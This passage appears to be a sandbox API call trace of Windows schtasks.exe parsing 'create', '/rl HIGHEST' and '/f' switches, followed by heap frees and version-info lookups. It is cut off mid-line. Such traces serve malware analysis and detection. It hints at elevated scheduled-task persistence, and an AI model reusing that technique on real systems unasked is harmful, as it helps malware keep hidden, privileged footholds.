[0159.910] lstrlenW (lpString="?") returned 1 [0159.910] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.910] lstrlenW (lpString="rl") returned 2 [0159.910] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.910] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|?|") returned 3 [0159.910] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.910] lstrlenW (lpString="|?|") returned 3 [0159.910] lstrlenW (lpString="|rl|") returned 4 [0159.910] SetLastError (dwErrCode=0x490) [0159.910] lstrlenW (lpString="create") returned 6 [0159.910] lstrlenW (lpString="create") returned 6 [0159.910] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.910] lstrlenW (lpString="rl") returned 2 [0159.910] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.910] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.910] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.911] lstrlenW (lpString="|create|") returned 8 [0159.911] lstrlenW (lpString="|rl|") returned 4 [0159.911] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0159.911] SetLastError (dwErrCode=0x490) [0159.911] lstrlenW (lpString="delete") returned 6 [0159.911] lstrlenW (lpString="delete") returned 6 [0159.911] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.911] lstrlenW (lpString="rl") returned 2 [0159.911] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.911] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|delete|") returned 8 [0159.911] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.911] lstrlenW (lpString="|delete|") returned 8 [0159.911] lstrlenW (lpString="|rl|") returned 4 [0159.911] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0159.911] SetLastError (dwErrCode=0x490) [0159.911] lstrlenW (lpString="query") returned 5 [0159.911] lstrlenW (lpString="query") returned 5 [0159.911] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.911] lstrlenW (lpString="rl") returned 2 [0159.911] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.911] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|query|") returned 7 [0159.911] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.911] lstrlenW (lpString="|query|") returned 7 [0159.912] lstrlenW (lpString="|rl|") returned 4 [0159.912] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0159.912] SetLastError (dwErrCode=0x490) [0159.912] lstrlenW (lpString="change") returned 6 [0159.912] lstrlenW (lpString="change") returned 6 [0159.912] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.912] lstrlenW (lpString="rl") returned 2 [0159.912] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.912] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|change|") returned 8 [0159.912] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.912] lstrlenW (lpString="|change|") returned 8 [0159.912] lstrlenW (lpString="|rl|") returned 4 [0159.912] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0159.912] SetLastError (dwErrCode=0x490) [0159.912] lstrlenW (lpString="run") returned 3 [0159.912] lstrlenW (lpString="run") returned 3 [0159.912] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.912] lstrlenW (lpString="rl") returned 2 [0159.912] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.912] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|run|") returned 5 [0159.912] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.912] lstrlenW (lpString="|run|") returned 5 [0159.913] lstrlenW (lpString="|rl|") returned 4 [0159.913] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0159.913] SetLastError (dwErrCode=0x490) [0159.913] lstrlenW (lpString="end") returned 3 [0159.913] lstrlenW (lpString="end") returned 3 [0159.913] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.913] lstrlenW (lpString="rl") returned 2 [0159.913] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.913] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|end|") returned 5 [0159.913] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.913] lstrlenW (lpString="|end|") returned 5 [0159.913] lstrlenW (lpString="|rl|") returned 4 [0159.913] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0159.913] SetLastError (dwErrCode=0x490) [0159.913] lstrlenW (lpString="showsid") returned 7 [0159.913] lstrlenW (lpString="showsid") returned 7 [0159.913] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.913] lstrlenW (lpString="rl") returned 2 [0159.913] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.913] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|showsid|") returned 9 [0159.913] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|rl|") returned 4 [0159.913] lstrlenW (lpString="|showsid|") returned 9 [0159.913] lstrlenW (lpString="|rl|") returned 4 [0159.914] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0159.914] SetLastError (dwErrCode=0x490) [0159.914] SetLastError (dwErrCode=0x490) [0159.914] SetLastError (dwErrCode=0x0) [0159.914] lstrlenW (lpString="/rl") returned 3 [0159.914] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0159.914] SetLastError (dwErrCode=0x490) [0159.914] SetLastError (dwErrCode=0x0) [0159.914] lstrlenW (lpString="/rl") returned 3 [0159.914] GetProcessHeap () returned 0x230000 [0159.914] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24dca0 [0159.914] GetProcessHeap () returned 0x230000 [0159.914] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24ccc0 [0159.914] SetLastError (dwErrCode=0x0) [0159.914] SetLastError (dwErrCode=0x0) [0159.914] lstrlenW (lpString="HIGHEST") returned 7 [0159.914] lstrlenW (lpString="-/") returned 2 [0159.914] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0159.914] SetLastError (dwErrCode=0x490) [0159.914] SetLastError (dwErrCode=0x490) [0159.914] SetLastError (dwErrCode=0x0) [0159.914] lstrlenW (lpString="HIGHEST") returned 7 [0159.914] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0159.914] SetLastError (dwErrCode=0x490) [0159.914] SetLastError (dwErrCode=0x0) [0159.914] lstrlenW (lpString="HIGHEST") returned 7 [0159.914] GetProcessHeap () returned 0x230000 [0159.914] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x10) returned 0x24d530 [0159.915] GetProcessHeap () returned 0x230000 [0159.915] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24ccf0 [0159.915] SetLastError (dwErrCode=0x0) [0159.915] SetLastError (dwErrCode=0x0) [0159.915] lstrlenW (lpString="/f") returned 2 [0159.915] lstrlenW (lpString="-/") returned 2 [0159.915] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.915] lstrlenW (lpString="?") returned 1 [0159.915] lstrlenW (lpString="?") returned 1 [0159.915] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.915] lstrlenW (lpString="f") returned 1 [0159.915] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.915] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|?|") returned 3 [0159.915] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.915] lstrlenW (lpString="|?|") returned 3 [0159.915] lstrlenW (lpString="|f|") returned 3 [0159.915] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0159.915] SetLastError (dwErrCode=0x490) [0159.915] lstrlenW (lpString="create") returned 6 [0159.915] lstrlenW (lpString="create") returned 6 [0159.915] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.915] lstrlenW (lpString="f") returned 1 [0159.915] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.915] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.915] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.916] lstrlenW (lpString="|create|") returned 8 [0159.916] lstrlenW (lpString="|f|") returned 3 [0159.916] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0159.916] SetLastError (dwErrCode=0x490) [0159.916] lstrlenW (lpString="delete") returned 6 [0159.916] lstrlenW (lpString="delete") returned 6 [0159.916] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.916] lstrlenW (lpString="f") returned 1 [0159.916] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.916] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|delete|") returned 8 [0159.916] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.916] lstrlenW (lpString="|delete|") returned 8 [0159.916] lstrlenW (lpString="|f|") returned 3 [0159.916] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0159.916] SetLastError (dwErrCode=0x490) [0159.916] lstrlenW (lpString="query") returned 5 [0159.916] lstrlenW (lpString="query") returned 5 [0159.916] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.916] lstrlenW (lpString="f") returned 1 [0159.916] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.916] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|query|") returned 7 [0159.916] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.916] lstrlenW (lpString="|query|") returned 7 [0159.916] lstrlenW (lpString="|f|") returned 3 [0159.917] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0159.917] SetLastError (dwErrCode=0x490) [0159.917] lstrlenW (lpString="change") returned 6 [0159.917] lstrlenW (lpString="change") returned 6 [0159.917] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.917] lstrlenW (lpString="f") returned 1 [0159.917] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.917] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|change|") returned 8 [0159.917] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.917] lstrlenW (lpString="|change|") returned 8 [0159.917] lstrlenW (lpString="|f|") returned 3 [0159.917] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0159.917] SetLastError (dwErrCode=0x490) [0159.917] lstrlenW (lpString="run") returned 3 [0159.917] lstrlenW (lpString="run") returned 3 [0159.917] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.917] lstrlenW (lpString="f") returned 1 [0159.917] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.917] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|run|") returned 5 [0159.917] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.917] lstrlenW (lpString="|run|") returned 5 [0159.917] lstrlenW (lpString="|f|") returned 3 [0159.917] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0159.918] SetLastError (dwErrCode=0x490) [0159.918] lstrlenW (lpString="end") returned 3 [0159.918] lstrlenW (lpString="end") returned 3 [0159.918] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.918] lstrlenW (lpString="f") returned 1 [0159.918] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.918] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|end|") returned 5 [0159.918] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.918] lstrlenW (lpString="|end|") returned 5 [0159.918] lstrlenW (lpString="|f|") returned 3 [0159.918] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0159.918] SetLastError (dwErrCode=0x490) [0159.918] lstrlenW (lpString="showsid") returned 7 [0159.918] lstrlenW (lpString="showsid") returned 7 [0159.918] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.918] lstrlenW (lpString="f") returned 1 [0159.918] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.918] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|showsid|") returned 9 [0159.918] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|f|") returned 3 [0159.918] lstrlenW (lpString="|showsid|") returned 9 [0159.918] lstrlenW (lpString="|f|") returned 3 [0159.918] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0159.918] SetLastError (dwErrCode=0x490) [0159.918] SetLastError (dwErrCode=0x490) [0159.919] SetLastError (dwErrCode=0x0) [0159.919] lstrlenW (lpString="/f") returned 2 [0159.919] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0159.919] SetLastError (dwErrCode=0x490) [0159.919] SetLastError (dwErrCode=0x0) [0159.919] lstrlenW (lpString="/f") returned 2 [0159.919] GetProcessHeap () returned 0x230000 [0159.919] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x6) returned 0x24dcc0 [0159.919] GetProcessHeap () returned 0x230000 [0159.919] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd20 [0159.919] SetLastError (dwErrCode=0x0) [0159.919] GetProcessHeap () returned 0x230000 [0159.919] GetProcessHeap () returned 0x230000 [0159.919] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c190) returned 1 [0159.919] GetProcessHeap () returned 0x230000 [0159.919] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c190) returned 0x8 [0159.919] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c190 | out: hHeap=0x230000) returned 1 [0159.919] GetProcessHeap () returned 0x230000 [0159.919] GetProcessHeap () returned 0x230000 [0159.919] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cba0) returned 1 [0159.919] GetProcessHeap () returned 0x230000 [0159.919] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cba0) returned 0x20 [0159.920] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cba0 | out: hHeap=0x230000) returned 1 [0159.920] GetProcessHeap () returned 0x230000 [0159.920] GetProcessHeap () returned 0x230000 [0159.920] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d490) returned 1 [0159.920] GetProcessHeap () returned 0x230000 [0159.920] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d490) returned 0x10 [0159.920] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d490 | out: hHeap=0x230000) returned 1 [0159.920] GetProcessHeap () returned 0x230000 [0159.920] GetProcessHeap () returned 0x230000 [0159.920] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbd0) returned 1 [0159.920] GetProcessHeap () returned 0x230000 [0159.920] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cbd0) returned 0x20 [0159.921] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbd0 | out: hHeap=0x230000) returned 1 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dc60) returned 1 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dc60) returned 0x8 [0159.921] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dc60 | out: hHeap=0x230000) returned 1 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc00) returned 1 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc00) returned 0x20 [0159.921] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc00 | out: hHeap=0x230000) returned 1 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4b0) returned 1 [0159.921] GetProcessHeap () returned 0x230000 [0159.921] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d4b0) returned 0x10 [0159.921] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4b0 | out: hHeap=0x230000) returned 1 [0159.921] GetProcessHeap () returned 0x230000 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc30) returned 1 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc30) returned 0x20 [0159.922] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc30 | out: hHeap=0x230000) returned 1 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dc80) returned 1 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dc80) returned 0x8 [0159.922] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dc80 | out: hHeap=0x230000) returned 1 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc60) returned 1 [0159.922] GetProcessHeap () returned 0x230000 [0159.922] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc60) returned 0x20 [0159.923] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc60 | out: hHeap=0x230000) returned 1 [0159.923] GetProcessHeap () returned 0x230000 [0159.923] GetProcessHeap () returned 0x230000 [0159.923] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2492c0) returned 1 [0159.923] GetProcessHeap () returned 0x230000 [0159.923] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x2492c0) returned 0x3e [0159.923] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2492c0 | out: hHeap=0x230000) returned 1 [0159.923] GetProcessHeap () returned 0x230000 [0159.923] GetProcessHeap () returned 0x230000 [0159.923] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc90) returned 1 [0159.923] GetProcessHeap () returned 0x230000 [0159.923] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cc90) returned 0x20 [0159.924] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cc90 | out: hHeap=0x230000) returned 1 [0159.924] GetProcessHeap () returned 0x230000 [0159.924] GetProcessHeap () returned 0x230000 [0159.924] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dca0) returned 1 [0159.924] GetProcessHeap () returned 0x230000 [0159.924] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dca0) returned 0x8 [0159.924] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dca0 | out: hHeap=0x230000) returned 1 [0159.924] GetProcessHeap () returned 0x230000 [0159.924] GetProcessHeap () returned 0x230000 [0159.924] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccc0) returned 1 [0159.924] GetProcessHeap () returned 0x230000 [0159.924] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ccc0) returned 0x20 [0159.925] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccc0 | out: hHeap=0x230000) returned 1 [0159.925] GetProcessHeap () returned 0x230000 [0159.925] GetProcessHeap () returned 0x230000 [0159.925] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d530) returned 1 [0159.925] GetProcessHeap () returned 0x230000 [0159.925] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d530) returned 0x10 [0159.925] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d530 | out: hHeap=0x230000) returned 1 [0159.925] GetProcessHeap () returned 0x230000 [0159.925] GetProcessHeap () returned 0x230000 [0159.925] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccf0) returned 1 [0159.925] GetProcessHeap () returned 0x230000 [0159.925] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ccf0) returned 0x20 [0159.925] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ccf0 | out: hHeap=0x230000) returned 1 [0159.926] GetProcessHeap () returned 0x230000 [0159.926] GetProcessHeap () returned 0x230000 [0159.926] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcc0) returned 1 [0159.926] GetProcessHeap () returned 0x230000 [0159.926] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dcc0) returned 0x6 [0159.926] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dcc0 | out: hHeap=0x230000) returned 1 [0159.926] GetProcessHeap () returned 0x230000 [0159.926] GetProcessHeap () returned 0x230000 [0159.926] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd20) returned 1 [0159.926] GetProcessHeap () returned 0x230000 [0159.926] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd20) returned 0x20 [0159.926] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd20 | out: hHeap=0x230000) returned 1 [0159.926] GetProcessHeap () returned 0x230000 [0159.927] GetProcessHeap () returned 0x230000 [0159.927] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b960) returned 1 [0159.927] GetProcessHeap () returned 0x230000 [0159.927] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b960) returned 0x18 [0159.927] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b960 | out: hHeap=0x230000) returned 1 [0159.927] SetLastError (dwErrCode=0x0) [0159.927] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0159.927] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0159.927] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0159.927] VerifyVersionInfoW (in: lpVersionInformation=0x1bc3f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bc3f0) returned 1 [0159.927] SetLastError (dwErrCode=0x0) [0159.927] lstrlenW (lpString="create") returned 6 [0159.927] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0159.928] SetLastError (dwErrCode=0x490) [0159.928] SetLastError (dwErrCode=0x0) [0159.928] lstrlenW (lpString="create") returned 6 [0159.928] GetProcessHeap () returned 0x230000 [0159.928] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd20 [0159.928] GetProcessHeap () returned 0x230000 [0159.928] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d530 [0159.928] _memicmp (_Buf1=0x24d530, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.928] GetProcessHeap () returned 0x230000 [0159.928] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x16) returned 0x24d4b0 [0159.928] SetLastError (dwErrCode=0x0) [0159.928] _memicmp (_Buf1=0x24ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.928] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0159.928] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0159.929] GetProcessHeap () returned 0x230000 [0159.929] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x74e) returned 0x24dc60 [0159.929] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x24dc60 | out: lpData=0x24dc60) returned 1 [0159.930] VerQueryValueW (in: pBlock=0x24dc60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bc4d8, puLen=0x1bc540 | out: lplpBuffer=0x1bc4d8*=0x24dffc, puLen=0x1bc540) returned 1 [0159.930] _memicmp (_Buf1=0x24ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.930] _vsnwprintf (in: _Buffer=0x24bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bc4b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0159.930] VerQueryValueW (in: pBlock=0x24dc60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bc548, puLen=0x1bc538 | out: lplpBuffer=0x1bc548*=0x24de28, puLen=0x1bc538) returned 1 [0159.930] lstrlenW (lpString="schtasks.exe") returned 12 [0159.930] lstrlenW (lpString="schtasks.exe") returned 12 [0159.930] lstrlenW (lpString=".EXE") returned 4 [0159.930] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0159.930] lstrlenW (lpString="schtasks.exe") returned 12 [0159.930] lstrlenW (lpString=".EXE") returned 4 [0159.930] lstrlenW (lpString="schtasks") returned 8 [0159.930] lstrlenW 